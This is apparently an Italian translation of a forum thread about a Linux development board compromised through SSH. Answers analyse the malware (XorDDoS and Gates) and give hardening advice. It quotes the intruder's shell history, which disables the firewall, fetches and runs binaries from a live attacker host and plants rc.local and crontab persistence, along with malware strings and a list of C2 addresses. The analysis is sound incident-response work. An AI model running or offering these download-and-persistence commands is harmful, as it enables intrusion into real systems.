Sono stato appena hackerato?

Sto sviluppando un prodotto di consumo e dovrebbe essere connesso a Internet, quindi, come previsto, è collegato a Internet in modo da poterlo sviluppare correttamente.

Sono andato via per un'ora o due, e quando sono tornato nel mio ufficio ho notato alcuni strani comandi scritti nel terminale.

Guardando il file di registro di Linux chiamato auth.logRiesco a vedere le seguenti righe (tra molte altre):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

L'indirizzo IP 40.127.205.162risulta essere di proprietà di Microsoft .

Ecco un sacco di comandi che sono stati usati mentre ero via:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

E altro:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Non ne ero completamente a conoscenza. Come posso proteggere correttamente il mio prodotto?

Vorrei pubblicare il auth.logfile completo . Come lo faccio?

Inoltre, il file yjz1che è stato scaricato sembra essere un Trojan Linux e tutto ciò sembra essere stato fatto da un qualche tipo di gruppo di hacker secondo http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Devo chiamare Microsoft e parlare con loro? Cosa dovrei fare?

EDIT 2 :

c'è una buona ragione per cui questo post sta attirando così tanta attenzione: sei riuscito a registrare l'intera sessione live di un intruso sul tuo PC. Questo è molto diverso dalla nostra esperienza quotidiana, in cui ci occupiamo della scoperta delle conseguenze delle sue azioni e proviamo a ripararle. Qui lo vediamo al lavoro, lo vediamo avere dei problemi con la creazione della backdoor, ripercorrere i suoi passi, lavorare febbrilmente (forse perché era seduto alla tua scrivania, come suggerito sopra, o forse, e secondo me più probabilmente, perché era incapace di far funzionare il suo malware sul sistema, leggere sotto) e provare a distribuire strumenti di controllo completamente autonomi. Questo è ciò che i ricercatori della sicurezza testimoniano quotidianamente con le loro trappole per il miele . Per me, questa è un'occasione molto rara e la fonte di un certo divertimento.

Sei stato sicuramente hackerato. Le prove a riguardo non provengono dallo snippet del auth.logfile visualizzato, poiché segnala un tentativo di accesso non riuscito, che si verifica per un breve periodo di tempo (due secondi). Noterai che la seconda riga indica Failed password, mentre la terza riporta una pre-authdisconnessione: il ragazzo ha provato e fallito.

Le prove provengono invece dal contenuto dei due file http://222.186.30.209:65534/yjze http://222.186.30.209:65534/yjz1che l'attaccante ha scaricato sul tuo sistema.

Il sito è attualmente aperto a chiunque per scaricarli, cosa che ho fatto. Ho corso per la prima volta filesu di loro, che ha mostrato:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Poi li ho portati su una VM Debian a 64 bit che ho; un esame del loro contenuto attraverso il stringscomando ha rivelato molte cose sospette (riferimento a vari attacchi noti, a comandi da sostituire, uno script che è stato chiaramente utilizzato per impostare un nuovo servizio e così via).

Ho quindi prodotto gli hash MD5 di entrambi i file e li ho inviati al database di hash di Cymru per vedere se sono noti agenti di malware. Mentre yjznon lo è, lo yjz1è e Cymru riporta una probabilità di rilevamento da parte del software antivirus del 58%. Indica anche che questo file è stato visto l'ultima volta circa tre giorni fa, quindi è abbastanza recente.

Eseguendo clamscan (parte del clamavpacchetto) sui due file che ho ottenuto:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

quindi ora siamo certi che il software Linux standard possa identificarlo.

Cosa dovresti fare

Sebbene piuttosto nuovo, nessuno dei due sistemi è molto nuovo, vedi questo articolo del gennaio 2015 su XorDdos , per esempio. Quindi la maggior parte dei pacchetti gratuiti dovrebbe essere in grado di rimuoverlo. Si dovrebbe provare: clamav, rkhunter, chkrootkit. Ho cercato su Google e ho visto che affermano di essere in grado di individuarlo. Usali per controllare il lavoro del predecessore, ma dopo aver eseguito questi tre programmi dovresti essere pronto per partire.

Per quanto riguarda la domanda più ampia, what should you do to prevent future infectionsla risposta di Journeyman è un buon primo passo. Ricorda solo che è una lotta in corso, che tutti noi (incluso me!) Potremmo aver perso senza nemmeno saperlo.

MODIFICA :

Alla richiesta (indiretta) di Viktor Toth, vorrei aggiungere alcuni commenti. È certamente vero che l'intruso ha incontrato alcune difficoltà: scarica due distinti strumenti di hacking, modifica le loro autorizzazioni più volte, li riavvia più volte e tenta molte volte di disabilitare il firewall. È facile indovinare cosa sta succedendo: si aspetta che i suoi strumenti di hacking aprano un canale di comunicazione verso uno dei suoi PC infetti (vedi più avanti) e, quando non vede spuntare questo nuovo canale nella sua GUI di controllo, teme il suo hacking lo strumento viene bloccato dal firewall, quindi ripete la procedura di installazione. Concordo con Viktor Toth sul fatto che questa fase particolare della sua operazione non sembra portare i frutti attesi, ma vorrei incoraggiarvi fortemente non sottovalutare l'entità del danno inflitto sul tuo PC.

Fornisco qui un output parziale di strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Ciò fornisce prove di manomissione dei servizi (in /etc/init.de in /etc/rc.d), con crontab, con il file cronologico di mysqle un paio di file in proccui sono collegati bash(il che suggerisce che è stata creata una versione fraudolenta personalizzata della shell). Quindi il programma genera una richiesta HTTP (a un sito di lingua cinese,

 Accept-Language: zh-cn

che dà sostanza al commento di David Schwartz sopra), che può creare ancora più caos. Nella richiesta, i binari ( Content-Type: application/x-www-form-urlencoded) devono essere scaricati sul PC attaccato (GET) e caricati sulla macchina di controllo (POST). Non sono riuscito a stabilire cosa sarebbe stato scaricato sul PC attaccato, ma, date le piccole dimensioni di entrambi yjze yjz1(1,1 MB e 600 KB, ripetutamente), posso avventurarmi a supporre che la maggior parte dei file necessari per mascherare il rootkit, ovvero l'alterato versioni ls, netstat, ps, ifconfig, ..., sarebbero stati scaricati in questo modo. E questo spiegherebbe i tentativi febbrili dell'attaccante di avviare questo download.

Non vi è alcuna certezza che quanto sopra esaurisca tutte le possibilità: certamente ci manca parte della trascrizione (tra le righe 457 e 481) e non vediamo un logout; inoltre, particolarmente preoccupanti sono le linee 495-497,

cd /tmp;  ./yd_cd/make

che fanno riferimento a un file che non abbiamo visto scaricato e che potrebbe essere una compilation: in tal caso, significa che l'attaccante ha (finalmente?) capito qual era il problema con i suoi eseguibili e sta cercando di risolverlo, nel qual caso il il PC attaccato è andato per sempre. [In effetti, le due versioni del malware che l'attaccante ha scaricato sul computer hackerato (e io sulla mia macchina virtuale Debian a 64 bit) sono per un'architettura inadatta, x86, mentre il solo nome del computer hackerato nel computer rivela il fatto che aveva a che fare con un'architettura a braccio].

Il motivo per cui ho scritto questa modifica è di esortarti il ​​più fortemente possibile sia a pettinare il tuo sistema con uno strumento professionale, sia a reinstallare da zero.

E, a proposito, se questo dovesse rivelarsi utile a chiunque, questo è l'elenco degli 331 indirizzi IP a cui yjztenta di connettersi. Questa lista è così ampia (e probabilmente destinata a diventare ancora più grande) che credo sia questa la ragione per manometterla mysql. L'elenco fornito dall'altra backdoor è identico, il che, presumo, è il motivo per cui è stata lasciata aperta un'informazione così importante (penso che l'attaccante non volesse fare lo sforzo di archiviarli in formato kernel, quindi ha messo l'intero elenco in un file di testo in chiaro, che è probabilmente letto da tutte le sue backdoor, per qualsiasi sistema operativo):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Il seguente codice

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

nell'elenco di cui sopra mostra che 302 su un totale di 331 indirizzi si trovano nella Cina continentale, i restanti si trovano a Hong Kong, Mongolia, Taiwan. Ciò aggiunge ulteriore supporto alla tesi di David Schwartz secondo cui si tratta principalmente di un anello bot cinese.

MODIFICA 3

Su richiesta di @ vaid (l'autore del PO, leggi il suo commento qui sotto), aggiungerò un commento su come rafforzare la sicurezza di un sistema Linux di base (per un sistema che fornisce molti servizi, questo è un argomento molto più complesso). vaidafferma di aver fatto quanto segue:

1. Reinstalla il sistema

2. ha cambiato la password di root in una password lunga 16 caratteri con lettere, caratteri e cifre minuscole e maiuscole miste.

3. Modificato il nome utente in un nome utente lungo composto da 6 caratteri e applicato la stessa password utilizzata per il root

4. ha cambiato la porta SSH a qualcosa sopra 5000

5. disattivato l'accesso root SSH.

Questo va bene (tranne per il fatto che utilizzo una porta superiore a 10.000 poiché molti programmi utili utilizzano le porte inferiori a 10.000). Ma non posso sottolineare abbastanza la necessità di utilizzare le chiavi crittografiche per il login ssh , anziché le password. Ti darò un esempio personale. Su uno dei miei VPS, non ero sicuro se cambiare la porta ssh; L'ho lasciato a 22, ma ho usato le chiavi crittografiche per l'autenticazione. Ho avuto centinaia di tentativi di rodaggio al giorno , nessuno è riuscito. Quando, stanco di controllare ogni giorno che nessuno fosse riuscito, alla fine ho cambiato la porta a qualcosa di sopra di 10.000, i tentativi di rodaggio sono andati a zero. Intendiamoci, non è che gli hacker siano stupidi (non lo sono!), Cacciano solo prede più facili.

È facile attivare una chiave crittografica con RSA come algoritmo di firma, vedi il commento di Jan Hudec (grazie!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Ora tutto ciò che devi fare è copiare il file id_rsasulla macchina da cui vuoi connetterti (in una directory .ssh, anche chmod'ed a 700), quindi emettere il comando

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Quando sei sicuro che funzioni, modifica sul server (= la macchina a cui vuoi connetterti) il file /etc/ssh/sshd_confige cambia la linea

#PasswordAuthentication yes

per

PasswordAuthentication no

e riavvia il sshservizio ( service ssh restarto systemctl restart ssh, o qualcosa del genere, a seconda della distribuzione).

Questo resisterà molto. In effetti, attualmente non ci sono exploit noti contro le versioni attuali di openssh v2e di RSA come impiegati da openssh v2.

Infine, per bloccare davvero il tuo computer, dovrai configurare il firewall (netfilter / iptables) come segue:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Questo, 1) consente connessioni ssh da LAN e WAN, 2) consente tutto l'input originato dalle tue richieste (ad esempio, quando carichi una pagina Web), 3) rilascia tutto il resto sull'input, 4) consente tutto l'output e 5-6) consente tutto sull'interfaccia di loopback.

Man mano che le tue esigenze crescono e devono essere aperte più porte, puoi farlo aggiungendo, in cima all'elenco, regole come:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

per consentire ad esempio alle persone di accedere al tuo browser Web.

Benvenuti in Internet - dove è probabile che qualsiasi server SSH aperto venga sottoposto a sondaggio, forzato brutalmente e che gli vengano inflitte varie indignità.

Per iniziare, è necessario cancellare completamente la memoria sul prodotto. Immaginalo se vuoi passarlo a fini forensi, ma l'installazione Linux su di esso è ora sospetta.

Un po 'di congetture ma

1. Sei stato forzato o usi una password comune. È la sicurezza per oscurità, ma non si desidera una password del dizionario o utilizzare un account di root aperto a SSH. Disabilita l'accesso SSH root se è un'opzione o almeno cambia il nome, quindi devono indovinarli entrambi. SSHing come root è comunque una terribile pratica di sicurezza. Se devi usare root, accedi come un altro utente e usa su o sudo per cambiare.

2. A seconda del prodotto, potresti voler bloccare l'accesso SSH in qualche modo. Un blocco totale sembra una buona idea e consente agli utenti di aprirlo secondo necessità . A seconda delle risorse che è possibile risparmiare, considerare di consentire solo gli indirizzi IP nella propria sottorete o un qualche tipo di sistema di limitazione dell'accesso. Se non è necessario sul prodotto finale, assicurarsi che sia spento.

3. Utilizzare una porta non standard. Ancora una volta la sicurezza dall'oscurità, ma significa che un attaccante deve prendere di mira la tua porta.

4. Non usare mai una password predefinita. L'approccio migliore che ho visto è generare casualmente una password per un dispositivo specifico e spedirla con il tuo prodotto. La migliore pratica è l'autenticazione basata su chiave, ma non ho idea di come lo approveresti su un prodotto del mercato di massa.

Oh, sei stato sicuramente hackerato. Qualcuno sembra essere stato in grado di ottenere le credenziali di root e ha tentato di scaricare un Trojan sul tuo sistema. MariusMatutiae ha fornito un'analisi del carico utile.

Sorgono due domande: a) L'attaccante ha avuto successo? E b) cosa puoi fare al riguardo?

La risposta alla prima domanda potrebbe essere un no. Notare come l'attaccante tenta ripetutamente di scaricare ed eseguire il payload, apparentemente senza successo. Sospetto che qualcosa (SELinux, forse?) Si sia messo in mezzo.

TUTTAVIA: L'attaccante ha anche modificato il tuo /etc/rc.d/rc.localfile, nella speranza che quando riavvii il sistema, il payload verrà attivato. Se non hai ancora riavviato il sistema, non riavviare fino a quando non hai rimosso queste modifiche /etc/rc.d/rc.local. Se l'hai già riavviato ... beh, buona fortuna.

Per quanto riguarda ciò che puoi fare al riguardo: la cosa più sicura da fare è cancellare il sistema e reinstallarlo da zero. Ma questa potrebbe non essere sempre un'opzione. Una cosa significativamente meno sicura da fare è analizzare esattamente cosa è successo e cancellarne ogni traccia, se puoi. Ancora una volta, se non hai ancora riavviato il sistema, forse tutto ciò che serve è pulito /etc/rc.d/rc.local, rimuovi qualsiasi cosa scaricata dall'attaccante e, ultimo ma non meno importante, cambia la password maledetta!

Tuttavia, se l'attaccante era già in grado di eseguire il payload, potrebbero esserci altre modifiche al sistema che potrebbero essere difficili da rilevare. Ecco perché una pulizia completa è davvero l'unica opzione sicura (e consigliata). Come hai indicato, l'apparecchiatura in questione potrebbe essere un obiettivo di test / sviluppo, quindi forse pulirla non è così dolorosa come potrebbe essere in altri casi.

Aggiornamento : nonostante quanto ho scritto su un possibile recupero, desidero ribadire la raccomandazione molto forte di MariusMatutiae di non sottovalutare il potenziale danno causato da questo carico utile e la misura in cui potrebbe aver compromesso il sistema di destinazione.

Anche il mio sshd-honeypot ha visto questo tipo di attacco. I primi download da quell'URL sono iniziati il ​​29-01-2016 10:25:33 e gli attacchi sono ancora in corso. Gli attacchi provengono / provenivano

103.30.4.212
111.68.6.170
118.193.228.169

Il contributo di questi aggressori è stato:

il servizio iptables si ferma
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Quindi nessuna attività diversa dall'installazione della backdoor per dopo.

Tutti qui hanno offerto solidi consigli, ma per essere chiari, le tue priorità dovrebbero essere il backup e la verifica di ciò di cui hai veramente bisogno da quel sistema, quindi cancellandolo con una nuova installazione da supporti sicuri noti.

Prima di connettere l'host appena installato a Internet, seguire queste idee:

1. Crea un nuovo utente non root e accedi come quell'utente. Non dovresti mai aver bisogno di accedere come root, basta sudo (sostituisci l'utente) quando necessario.

2. Installa SE Linux, impostazioni di configurazione che abilitano il controllo di accesso obbligatorio: https://wiki.debian.org/SELinux/Setup

3. Prendi in considerazione un firewall hardware tra il tuo ufficio / casa e Internet. Uso MicroTik, che offre un eccellente supporto per la community: http://routerboard.com/ .

Supponendo che tu sia in una sequenza temporale per il completamento del tuo lavoro retribuito, almeno fai # 1. # 3 è veloce ed economico, ma dovrai aspettare il pacco per posta o andare al negozio.

1. È debian-armhf vostro hostname? Oppure usi un'installazione predefinita con le impostazioni predefinite? Non ci sono problemi, ma non dovresti permettere all'host di essere esposto direttamente a Internet (cioè non protetto dal tuo modem, almeno).

2. Sembra che il vero problema provenga da 222.186.30.209 (vedi http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Non dovresti prestare molta attenzione a vedere l'IP di Microsoft. Gli IP possono più o meno essere falsificati / falsificati piuttosto facilmente.

3. Un modo normale per connettersi a Internet è inoltrare un elenco noto di porte dal proprio IP pubblico (ad es. 8.8.8.8) al proprio locale (ad es. 192.168.1.12).

   • Ad esempio, non inoltrare tutte le connessioni in entrata da 8.8.8.8 (pubblico) a 192.168.1.12 (locale).

   • Inoltra solo le porte 22 e 25 (rispettivamente ssh e posta in arrivo). Ovviamente dovresti avere anche pacchetti / librerie ssh e smtp aggiornati.

4. Qual è il prossimo? Disconnetti l'host e modifica le password (su tutti i computer associati all'organizzazione) che sono codificate negli script di shell (vergognati!) In /etc/shadow.

Come altri hanno affermato, è abbastanza chiaro che la sicurezza del tuo server è stata compromessa. La cosa più sicura è pulire questa macchina e reinstallarla.

Per rispondere alla seconda parte della tua domanda, se non riesci a utilizzare l'autent della chiave pubblica, ti consiglio almeno di configurare Fail2Ban ed eseguire SSH su una porta non standard. Disattivo anche l'accesso SSH root.

Fail2Ban aiuterà a mitigare gli attacchi di forza bruta vietando gli indirizzi IP che non riescono ad accedere un certo numero di volte.

L'impostazione di sshd per l'ascolto su una porta non standard aiuterà almeno a ridurre leggermente la visibilità del tuo server SSH. La disabilitazione dell'accesso root riduce anche leggermente il profilo di attacco. In /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Con il login root disabilitato dovrai passare a root con suuna volta connesso o (più preferibilmente) usare sudoper eseguire comandi privilegiati.

I server SSH sono costantemente sotto attacco su Internet. Un paio di cose che fai:

1. Assicurati di utilizzare una password casuale molto sicura, per macchine accessibili da Internet. Voglio dire come 16 caratteri o più e completamente casuale. Utilizzare un gestore di password in modo da non doverlo memorizzare. Se riesci a memorizzare la tua password, è troppo semplice.

2. Se non hai bisogno di SSH, disattivalo. Se ne hai bisogno, ma non ne hai bisogno pubblicamente, eseguilo su un numero di porta elevato e non standard. Ciò ridurrà drasticamente i tentativi di hacking. Sì, un hacker dedicato può eseguire un port scan, ma i robot automatici non lo troveranno.

Lo snippet dal registro delle autorizzazioni mostra un tentativo fallito. Tuttavia, se guardi oltre, vedrai senza dubbio un accesso riuscito. Usi una semplice password, quindi è banale per un bot entrare.

È necessario isolare questa macchina dalla rete. Prendi con cura ciò di cui hai bisogno e poi puliscilo.

La prima cosa che chiunque / tutti dovrebbero fare dopo aver configurato un server Linux / Unix frontale è disabilitare immediatamente root.

Il tuo sistema è stato compromesso. Hai un registro cronologico in esecuzione che potrebbe essere interessante da esaminare in una certa misura. Ma sezionare onestamente le specifiche è un po 'schizzinoso e non ti aiuterà a proteggere il tuo server. Mostra tutti i tipi di assurdità che si verificano quando la botnet ha generato malware - che è molto probabilmente ciò che ha infettato il tuo server - infetta un sistema Linux. La risposta fornita da @MariusMatutiae è piacevole e ben ponderata e ci sono altri che ripetono che sei stato violato tramite l' rootaccesso che è il sogno bagnato di un malware / botnet.

Ci sono alcune spiegazioni su come disabilitare, rootma affermerò per esperienza personale, quasi tutto ciò che va oltre ciò che descriverò in questo momento è eccessivo. Questo è ciò che avresti dovuto fare quando hai configurato il server per la prima volta:

